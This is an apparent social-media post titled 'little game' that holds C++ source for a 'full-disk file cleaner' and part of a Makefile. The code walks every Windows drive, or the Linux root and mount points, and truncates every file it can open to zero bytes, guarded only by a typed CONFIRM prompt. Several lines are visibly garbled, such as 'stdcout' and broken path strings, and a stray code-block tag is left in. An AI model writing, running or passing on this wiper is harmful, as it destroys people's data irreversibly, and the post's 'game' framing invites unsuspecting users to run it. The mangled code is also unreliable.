小游戏

王德乐然

2025-11-02 12:00:03

发布于：江苏

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#include <iostream>
#include <fstream>
#include <string>
#include <vector>

#ifdef _WIN32
#include <windows.h>
#else
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#endif

class FileCleaner {
private:
int filesCleared;
int errorsOccurred;

public:
FileCleaner() : filesCleared(0), errorsOccurred(0) {}

// 清空单个文件内容
bool clearFileContent(const std::string& filePath) {
    std::fstream file;
    file.open(filePath, std::ios::out | std::ios::trunc);
    if (file.is_open()) {
        file.close();
        filesCleared++;
        std::cout << "已清空: " << filePath << std::endl;
        return true;
    } else {
        errorsOccurred++;
        std::cerr << "无法清空: " << filePath << std::endl;
        return false;
    }
}

// 递归清空文件夹内容
void clearFolderContents(const std::string& folderPath) {

#ifdef _WIN32
std::string searchPath = folderPath + "\.";
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);

    if (hFind == INVALID_HANDLE_VALUE) {
        return;
    }

    do {
        std::string name = findData.cFileName;
        if (name == "." || name == "..") continue;

        std::string fullPath = folderPath + "\\" + name;

        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            clearFolderContents(fullPath);
        } else {
            clearFileContent(fullPath);
        }
    } while (FindNextFileA(hFind, &findData));

    FindClose(hFind);

#else
DIR* dir = opendir(folderPath.c_str());
if (!dir) return;

    struct dirent* entry;
    while ((entry = readdir(dir)) != nullptr) {
        std::string name = entry->d_name;
        if (name == "." || name == "..") continue;

        std::string fullPath = folderPath + "/" + name;

        struct stat statBuf;
        if (stat(fullPath.c_str(), &statBuf) == 0) {
            if (S_ISDIR(statBuf.st_mode)) {
                clearFolderContents(fullPath);
            } else {
                clearFileContent(fullPath);
            }
        }
    }
    closedir(dir);

#endif
}

// 清空所有驱动器
void clearAllDrives() {
    std::cout << "开始清理所有驱动器文件内容..." << std::endl;

#ifdef _WIN32
// Windows: 清理所有逻辑驱动器
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++) {
if (drives & (1 << (drive - 'A'))) {
stdstring drivePath = stdstring(1, drive) + ":\";
stdcout << "清理驱动器: " << drivePath << stdendl;
clearFolderContents(drivePath);
}
}
#else
// Linux/Unix: 清理根目录和主要挂载点
clearFolderContents("/");

    // 清理其他常见挂载点
    std::vector<std::string> mountPoints = {"/home", "/var", "/opt", "/usr", "/tmp"};
    for (const auto& mount : mountPoints) {
        clearFolderContents(mount);
    }

#endif
}

void showStatistics() {
    std::cout << "\n=== 清理统计 ===" << std::endl;
    std::cout << "成功清空文件数: " << filesCleared << std::endl;
    std::cout << "操作失败数: " << errorsOccurred << std::endl;
}

};

int main() {
stdcout << "=== 全盘文件清理工具 ===" << stdendl;
stdcout << "警告: 此操作将永久清空所有驱动器上的文件内容！" << stdendl;
stdcout << "此操作不可恢复！" << stdendl;

// 最终确认
std::cout << "确定要继续吗？(输入 'CONFIRM' 继续): ";
std::string confirmation;
std::cin >> confirmation;

if (confirmation != "CONFIRM") {
    std::cout << "操作已取消。" << std::endl;
    return 0;
}

FileCleaner cleaner;
cleaner.clearAllDrives();
cleaner.showStatistics();

std::cout << "清理操作完成！" << std::endl;
return 0;

}
<code_end>
<code_start project_name=cpp_文件清理工具 filename=Makefile title=项目编译配置 entrypoint=false runnable=false project_final_file=true>
CXX = g++
CXXFLAGS = -std=c++14 -O2 -Wall
TARGET = file_cleaner
SOURCE = file_cleaner.cpp

检测操作系统

ifeq ($(OS),Windows_NT)
PLATFORM = windows
TARGET := $(TARGET).exe
else
UNAME_S := $(shell uname -s) ifeq ($ (UNAME_S),Linux)
PLATFORM = linux
else ifeq ($(UNAME_S),Darwin)
PLATFORM = macos
else
PLATFORM = unix
endif
endif